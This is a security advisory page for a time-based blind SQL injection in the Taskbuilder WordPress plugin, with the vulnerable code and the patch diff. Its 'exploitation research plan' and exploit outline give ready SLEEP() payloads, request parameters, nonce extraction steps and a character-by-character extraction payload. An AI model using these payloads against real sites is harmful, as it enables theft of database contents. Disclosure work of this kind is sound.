CVE-2026-6225

Taskbuilder – Project Management & Task Management Tool With Kanban Board <= 5.0.6 - Authenticated (Subscriber+) Time-Based Blind SQL Injection via 'project_search' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
5.0.7
Patched in
1d
Time to patch

Description

The Taskbuilder – Project Management & Task Management Tool With Kanban Board plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'project_search' parameter in all versions up to, and including, 5.0.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.0.6
PublishedMay 13, 2026
Last updatedMay 14, 2026
Affected plugintaskbuilder

What Changed in the Fix

Changes introduced in v5.0.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-6225 ## 1. Vulnerability Summary The Taskbuilder plugin for WordPress (versions <= 5.0.6) is vulnerable to a time-based blind SQL injection via the `project_search` parameter. This occurs because the plugin uses `sanitize_text_field()` on user input, which re…

Show full research plan

Exploitation Research Plan - CVE-2026-6225

1. Vulnerability Summary

The Taskbuilder plugin for WordPress (versions <= 5.0.6) is vulnerable to a time-based blind SQL injection via the project_search parameter. This occurs because the plugin uses sanitize_text_field() on user input, which removes HTML tags but does not escape single quotes. Furthermore, the plugin uses $wpdb->esc_like() which only escapes SQL LIKE wildcards (% and _) but not the single quote character. This processed input is then directly concatenated into a raw SQL query string instead of being properly parameterized using $wpdb->prepare().

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: wppm_get_project_list (inferred from plugin architecture)
  • Vulnerable Parameter: project_search
  • Authentication Level: Authenticated (Subscriber+)
  • Preconditions:
    • The attacker must be logged in as a Subscriber or higher.
    • The AJAX action wppm_get_project_list must be accessible.

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with the action wppm_get_project_list.
  2. Registration: The action is registered in includes/wppm_actions.php (inferred) which includes includes/admin/projects/projects_list.php.
  3. Parameter Extraction (includes/admin/projects/projects_list.php):
    • Line 18: $search_tag = isset($_POST['project_search']) ? sanitize_text_field($_POST['project_search']) : '';
    • Line 43: $search_tag = isset($_POST['project_search']) ? sanitize_text_field($_POST['project_search']) : $pl_filters_arr['search'];
  4. Unsafe Preparation:
    • Line 96: $search_tag_text = '%'.$wpdb->esc_like($search_tag).'%';
  5. SQL Sink:
    • Line 100: A query string is built: $query = ("... AND (user.display_name LIKE '$search_tag_text') ...");
    • Line 109: A $where clause is built: $where = " where ... AND (Project.project_name LIKE '$search_tag_text' ... )";
    • The $search_tag_text is placed inside single quotes but is not escaped for SQL syntax.

4. Nonce Acquisition Strategy

The Taskbuilder plugin typically secures its AJAX actions with a nonce localized in the frontend.

  1. Shortcode Identification: The readme.txt identifies [wppm_projects] as the shortcode for managing projects from the frontend.
  2. Page Creation: Use WP-CLI to create a page containing this shortcode:
    wp post create --post_type=page --post_title="Projects" --post_status=publish --post_content='[wppm_projects]' --post_author=1
    
  3. Navigation: Navigate to the newly created page as a Subscriber user.
  4. Nonce Extraction: The plugin enqueues scripts and localizes data. Based on common patterns in this plugin, the localization variable is wppm_project_list_obj.
    • Use browser_eval to extract the nonce:
      window.wppm_project_list_obj?.wppm_nonce
      

5. Exploitation Strategy

We will perform a time-based blind SQL injection using the SLEEP() function.

  1. Request Tool: http_request (Playwright)
  2. Method: POST
  3. URL: http://[target]/wp-admin/admin-ajax.php
  4. Headers:
    • Content-Type: application/x-www-form-urlencoded
    • Cookie: [Subscriber Cookies]
  5. Payload Construction:
    • The target SQL fragment is: LIKE '%[INPUT]%'
    • Payload: ') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1
    • Resulting SQL: LIKE '%') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1%'
  6. Parameters:
    • action: wppm_get_project_list
    • project_search: ') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1
    • wppm_nonce: [EXTRACTED_NONCE]
    • is_frontend: 1 (triggers the frontend filter logic at Line 87)

6. Test Data Setup

  1. User Creation: Create a Subscriber user.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    
  2. Plugin Setup: Ensure Taskbuilder is active.
  3. Content Setup:
    • Create a dummy project so the list query returns data.
    • Create the "Projects" page with the shortcode for nonce extraction.
    wp post create --post_type=page --post_title="Projects" --post_status=publish --post_content='[wppm_projects]'
    

7. Expected Results

  • A "Normal" request (without payload) should return quickly (e.g., < 500ms).
  • The "Malicious" request containing SLEEP(5) should take approximately 5 seconds longer than the normal request.
  • The response body will likely be a JSON list of projects, which is irrelevant to the time-based verification.

8. Verification Steps

  1. Time Difference: Compare the time_total from the http_request response for the payload vs a control request.
  2. Data Extraction (Proof of Concept): To verify data can be extracted, use a conditional sleep to check the first character of the database name:
    ') AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(database(),1,1)='w',SLEEP(5),0)))a) AND ('1'='1
    
  3. Database Consistency: Use WP-CLI to verify the database prefix matches expectations if needed:
    wp db query "SELECT database()"
    

9. Alternative Approaches

If wppm_get_project_list is not the correct action name (inferred), audit the includes/wppm_actions.php file for any add_action('wp_ajax_...') that calls a function including projects_list.php.

If the LIKE clause structure differs slightly, adjust the number of closing parentheses or leading single quotes in the payload.

If is_frontend is not required, omit it. The vulnerable code path exists as long as !empty($search_tag) is true at Line 97.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Taskbuilder plugin for WordPress is vulnerable to time-based blind SQL Injection due to the 'project_search' parameter being concatenated directly into SQL queries without proper escaping or parameterization. Authenticated attackers with Subscriber-level permissions or higher can exploit this to systematically extract sensitive data from the database by observing response delays induced by injected SLEEP() commands.

Vulnerable Code

// includes/admin/projects/projects_list.php

// Line 14: Extraction and insufficient sanitization
$search_tag = isset($_POST['project_search']) ? sanitize_text_field($_POST['project_search']) : '';

// ---

// Line 111: Unsafe preparation that only escapes LIKE wildcards, not single quotes
$search_tag_text = '%'.$wpdb->esc_like($search_tag).'%';
if(!empty($search_tag)){
  $search_tag_text = '%'.$wpdb->esc_like($search_tag).'%';
  $query = ("SELECT Project.*
      FROM {$wpdb->prefix}wppm_project AS Project 
      Left join {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id
      Left join {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id
      Left join {$wpdb->base_prefix}users user ON (FIND_IN_SET(user.ID,Project.users)>0) AND (user.display_name LIKE '$search_tag_text')
      Left join {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id
  ");
  if($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin'){
    $where = " where $wppm_pl_filter AND (Project.project_name LIKE '$search_tag_text' OR proj_statuses.name LIKE '$search_tag_text' OR proj_categories.name LIKE '$search_tag_text' OR ( user.display_name LIKE '$search_tag_text'))";
  }else{
    $where = " where $wppm_pl_filter AND (Project.project_name LIKE '$search_tag_text' OR proj_statuses.name LIKE '$search_tag_text' OR proj_categories.name LIKE '$search_tag_text' OR ( user.display_name LIKE '$search_tag_text')) AND ((FIND_IN_SET('$current_user->ID',Project.users)>0) OR (Project.id = proj_meta.project_id AND proj_meta.meta_key='public_project' AND proj_meta.meta_value=1) OR Project.created_by='$cu_id')";
  }

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/taskbuilder/5.0.6/includes/admin/projects/projects_list.php /home/deploy/wp-safety.org/data/plugin-versions/taskbuilder/5.0.7/includes/admin/projects/projects_list.php
--- /home/deploy/wp-safety.org/data/plugin-versions/taskbuilder/5.0.6/includes/admin/projects/projects_list.php	2026-03-26 15:36:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/taskbuilder/5.0.7/includes/admin/projects/projects_list.php	2026-04-16 08:38:14.000000000 +0000
@@ -96,43 +96,81 @@
     $wppm_pl_filter .= " AND status != '$status'";
   }
 }
-$wppm_project_time = get_option('wppm_project_time');
 $wppm_default_project_date = get_option('wppm_default_project_date');
 $sort_by = apply_filters('wppm_project_list_sort_by_query',$sort_by);
 $order = apply_filters('wppm_project_list_order_query',$order);
 $search_tag_text = '%'.$wpdb->esc_like($search_tag).'%';
-if(!empty($search_tag)){
-  $search_tag_text = '%'.$wpdb->esc_like($search_tag).'%';
-  $query = ("SELECT Project.*
-      FROM {$wpdb->prefix}wppm_project AS Project 
-      Left join {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id
-      Left join {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id
-      Left join {$wpdb->base_prefix}users user ON (FIND_IN_SET(user.ID,Project.users)>0) AND (user.display_name LIKE '$search_tag_text')
-      Left join {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id
-  ");
-  if($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin'){
-    $where = " where $wppm_pl_filter AND (Project.project_name LIKE '$search_tag_text' OR proj_statuses.name LIKE '$search_tag_text' OR proj_categories.name LIKE '$search_tag_text' OR ( user.display_name LIKE '$search_tag_text'))";
-  }else{
-    $where = " where $wppm_pl_filter AND (Project.project_name LIKE '$search_tag_text' OR proj_statuses.name LIKE '$search_tag_text' OR proj_categories.name LIKE '$search_tag_text' OR ( user.display_name LIKE '$search_tag_text')) AND ((FIND_IN_SET('$current_user->ID',Project.users)>0) OR (Project.id = proj_meta.project_id AND proj_meta.meta_key='public_project' AND proj_meta.meta_value=1) OR Project.created_by='$cu_id')";
-  }
-}else{
-  if($sort_by=='project_name'|| $sort_by=='start_date' || $sort_by=='end_date'){
-      $query = ( "SELECT Project.* FROM {$wpdb->prefix}wppm_project AS Project
-        Left join {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id
-        ");
-  } else{
-    $query = ( "SELECT Project.* FROM {$wpdb->prefix}wppm_project AS Project
-      Left join {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id
-      Left join {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id
-      Left join {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id
-    ");
-  }
-  if($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin'){
-    $where =  " where $wppm_pl_filter";
-  }else{
-    $where = " where ($wppm_pl_filter AND (FIND_IN_SET('$current_user->ID',Project.users)>0 OR (Project.id = proj_meta.project_id AND proj_meta.meta_key='public_project' AND proj_meta.meta_value=1)) OR Project.created_by='$cu_id')";
-  }
+if (!empty($search_tag)) {
+    $search_tag_text = '%' . $wpdb->esc_like($search_tag) . '%';
+    $query = "SELECT Project.*
+        FROM {$wpdb->prefix}wppm_project AS Project 
+        LEFT JOIN {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id
+        LEFT JOIN {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id
+        LEFT JOIN {$wpdb->base_prefix}users user ON FIND_IN_SET(user.ID, Project.users) > 0
+        LEFT JOIN {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id";
+    // SAFE search condition
+    $search_sql = $wpdb->prepare(
+        "(Project.project_name LIKE %s 
+        OR proj_statuses.name LIKE %s 
+        OR proj_categories.name LIKE %s 
+        OR user.display_name LIKE %s)",
+        $search_tag_text,
+        $search_tag_text,
+        $search_tag_text,
+        $search_tag_text
+    );
+    if ($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin') {
+        // ✅ Admin (safe)
+        $where = " WHERE $wppm_pl_filter AND $search_sql";
+    } else {
+        // ✅ Non-admin (safe)
+        $where = $wpdb->prepare(
+            " WHERE $wppm_pl_filter
+              AND $search_sql
+              AND (
+                  FIND_IN_SET(%d, Project.users) > 0
+                  OR (
+                      proj_meta.meta_key = 'public_project'
+                      AND proj_meta.meta_value = 1
+                  )
+                  OR Project.created_by = %d
+              )",
+            $current_user->ID,
+            $cu_id
+        );
+    }
+} else {
+    if ($sort_by == 'project_name' || $sort_by == 'start_date' || $sort_by == 'end_date') {
+        $query = "SELECT Project.*
+            FROM {$wpdb->prefix}wppm_project AS Project
+            LEFT JOIN {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id";
+    } else {
+        $query = "SELECT Project.*
+            FROM {$wpdb->prefix}wppm_project AS Project
+            LEFT JOIN {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id
+            LEFT JOIN {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id
+            LEFT JOIN {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id";
+    }
+    if ($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin') {
+        $where = " WHERE $wppm_pl_filter";
+    } else {
+        $where = $wpdb->prepare(
+            " WHERE (
+                $wppm_pl_filter
+                AND (
+                    FIND_IN_SET(%d, Project.users) > 0
+                    OR (
+                        proj_meta.meta_key = 'public_project'
+                        AND proj_meta.meta_value = 1
+                    )
+                )
+                OR Project.created_by = %d
+            )",
+            $current_user->ID,
+            $cu_id
+        );
+    }
 }

Exploit Outline

To exploit this vulnerability, an attacker first authenticates with a Subscriber account and obtains a valid security nonce from the project management frontend page (rendered via the [wppm_projects] shortcode). The attacker then makes a POST request to the '/wp-admin/admin-ajax.php' endpoint with the 'action' parameter set to 'wppm_get_project_list'. The 'project_search' parameter is populated with a time-based SQL injection payload, such as ') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1. Because the plugin uses sanitize_text_field() and esc_like() on the input—neither of which handles single quotes—the payload breaks out of the intended SQL LIKE clause. By measuring the server's response time, the attacker can confirm the vulnerability and use conditional SLEEP() logic to exfiltrate database contents character by character.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.